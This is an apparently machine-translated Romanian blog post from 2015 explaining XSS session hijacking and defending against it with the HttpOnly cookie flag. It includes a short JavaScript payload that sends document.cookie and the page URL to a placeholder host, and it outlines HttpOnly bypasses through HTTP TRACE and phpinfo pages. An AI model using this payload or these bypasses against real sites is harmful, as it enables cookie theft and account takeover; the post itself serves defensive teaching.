Odată cu apariția serviciilor www, tot mai multe aplicații au trecut la structuri B/S, astfel încât o varietate de servicii web pot fi accesate cu un singur browser, dar acest lucru duce tot mai mult la tot mai multe probleme de securitate web. serviciul www se bazează pe protocolul Http, Http este un protocol fără stare, așa că, pentru a transmite informații între sesiuni, este inevitabil să se folosească cookie-uri sau sesiuni și alte tehnologii pentru a marca starea vizitatorului, iar fie că este un cookie sau o sesiune, în general este implementat folosind cookie-uri (Session este de fapt marcată cu un token în cookie-ul browserului, Serverul obține acest token, verifică legitimitatea și leagă starea corespunzătoare stocată pe server către browser), astfel încât inevitabil se concentrează în siguranță pe cookie, atâta timp cât acest cookie este obținut, identitatea altora poate fi obținută, ceea ce este un lucru minunat pentru intruși, mai ales când cookie-ul obținut aparține unei persoane cu privilegii ridicate, cum ar fi un administrator, prejudiciul este și mai mare. Printre diverse probleme de securitate web, vulnerabilitatea XSS este deosebit de periculoasă.
Pentru aplicații, odată ce există o vulnerabilitate XSS, înseamnă că alții pot executa scripturi JS arbitrare în browserul tău, iar dacă aplicația este open source sau funcțiile sunt publice, alții pot folosi Ajax pentru a folosi aceste funcții, dar procesul este adesea greoi, mai ales dacă vrei să obții direct identitatea altcuiva pentru navigare casuală. Pentru aplicațiile non-open source, cum ar fi fundalul web al unor site-uri mari (o caracteristică semnificativă a web2.0 este numărul mare de interacțiuni, utilizatorii trebuie adesea să interacționeze cu administratorii în fundal, cum ar fi rapoartele de bug-uri sau livrarea de informații etc.), deși pot exista vulnerabilități de cross-site scripting din cauza existenței interacțiunii, dar din cauza lipsei de înțelegere a background-ului, este imposibil să construiești cod ajax perfect pentru utilizare, chiar dacă poți folosi js pentru a obține codul de fundal și a-l returna pentru analiză, dar procesul este și greoi și nu este ascuns. În acest moment, este foarte eficient să folosești vulnerabilitatea xss pentru a obține cookie-uri sau deturnări de sesiune, să analizezi în mod specific autentificarea aplicației, apoi să folosești anumite tehnici și chiar să obții permanent identitatea celeilalte părți chiar dacă cealaltă parte iese din program.
Deci, cum poți obține deturnarea de cookie-uri sau sesiune? În obiectul document din browser, informațiile despre cookie-uri sunt stocate, iar cookie-ul poate fi recuperat folosind js; atâta timp cât primești acest cookie, poți avea identitatea altcuiva. O declarație tipică de atac XSS este următoarea:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Unele aplicații pot adopta tehnici de legare a browserului pentru a rezolva această problemă, cum ar fi legarea cookie-urilor la agentul de utilizator al browserului și consideră cookie-ul invalid odată ce este descoperit. Această metodă s-a dovedit ineficientă, deoarece atunci când intrusul fură cookie-ul, trebuie să fi obținut și agentul de utilizator în același timp. Există și o altă metodă strictă care leagă cookie-urile de Remote-addr (de fapt, este legată de IP, dar unele programe au probleme cu metoda de obținere a IP-ului, ceea ce duce și la economisire), dar aceasta aduce o experiență foarte slabă pentru utilizator, schimbarea IP-ului fiind ceva comun, cum ar fi munca și locuința au 2 IP-uri, așa că această metodă adesea nu este adoptată. Prin urmare, atacurile bazate pe cookie-uri sunt foarte populare acum și este ușor să obții statutul de administrator al aplicației pe unele site-uri web 2.0.
Cum ne păstrăm cookie-urile sensibile în siguranță? Prin analiza de mai sus, cookie-urile generale sunt obținute din obiectele documentului, iar noi trebuie doar să facem cookie-urile sensibile invizibile în documentul browserului. Din fericire, browserele acceptă acum în general un parametru numit HttpOnly la setarea cookie-urilor, la fel ca și alți parametri precum domeniul; odată ce acest HttpOnly este setat, nu vei mai vedea cookie-ul în obiectul document al browserului, iar browserul nu va fi afectat în niciun fel la navigare, deoarece cookie-ul va fi trimis în antetul browserului (inclusiv ajax). Aplicațiile, în general, nu operează aceste cookie-uri sensibile în js, noi folosim HttpOnly pentru unele cookie-uri sensibile și nu setăm unele cookie-uri care trebuie operate cu js în aplicație, ceea ce asigură securitatea informațiilor despre cookie-uri și asigură aplicația. Pentru mai multe informații despre HttpOnly, vezi http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Antetul pentru setarea cookie-urilor în browser este următorul:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Luând php ca exemplu, suportul pentru HttpOnly a fost adăugat în funcția Setcookie în php 5.2, de exemplu:
setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,TRUE);
Poți seta cookie-ul abc pe HttpOnly, iar documentul nu va fi vizibil pentru acest cookie. Pentru că funcția setcookie este practic un antet, poți folosi și antetul pentru a seta HttpOnly. Apoi folosește document.cookie pentru a vedea că acest cookie nu mai este disponibil. Folosim această metodă pentru a proteja Sessionid-ul, cum ar fi unele cookie-uri de autentificare pentru autentificare, astfel încât să nu ne facem griji legate de obținerea identității, ceea ce este de mare importanță pentru unele programe de fundal și webmail pentru îmbunătățirea securității. Când folosim din nou metoda de atac de mai sus, putem vedea că nu mai putem obține cookie-uri sensibile pe care le-am setat ca HttpOnly.
Totuși, se poate observa și că HttpOnly nu este atotputernic, în primul rând, nu poate rezolva problema xss, nici nu poate rezista atacului unor hackeri răbdători, nici nu poate împiedica intrușii să facă trimiteri ajax, iar chiar au apărut unele proxy-uri bazate pe xss, dar a fost posibil să se ridice pragul atacurilor, cel puțin atacurile xss nu sunt finalizate de fiecare script kid, iar alte metode de atac se datorează unor limitări de mediu și tehnice. Nu este la fel de comun ca furtul de fursecuri.
HttpOnly poate exploata și unele vulnerabilități sau configura Bypass, problema principală este că, atâta timp cât poți trimite antetul cookie-ului de către browser. De exemplu, atacul anterior Http Trace poate returna cookie-ul din antetul tău, iar acest atac poate fi realizat folosind ajax sau flash, care a fost de asemenea patch-uit în ajax și flash. Un alt exemplu notabil de posibilă ocolire a configurării sau aplicației este phpinfo; după cum știi, phpinfo afișează antetul http trimis de browser, inclusiv informațiile de autentificare pe care le protejăm, iar această pagină există adesea pe diverse site-uri; atâta timp cât folosești ajax pentru a obține pagina phpinfo, scoate partea corespunzătoare antetului pentru a obține cookie-ul. Imperfecțiunile din unele aplicații pot duce, de asemenea, la scurgeri de antet, care pot fi atacate la fel de mult ca o pagină protejată prin verificare de bază.
HttpOnly este mai bine suportat în IE 6 și versiuni, este larg utilizat în aplicații precum Hotmail și a obținut rezultate relativ bune în securitate.
|
Postat pe 03.06.2015 20:57:48
|
|
|
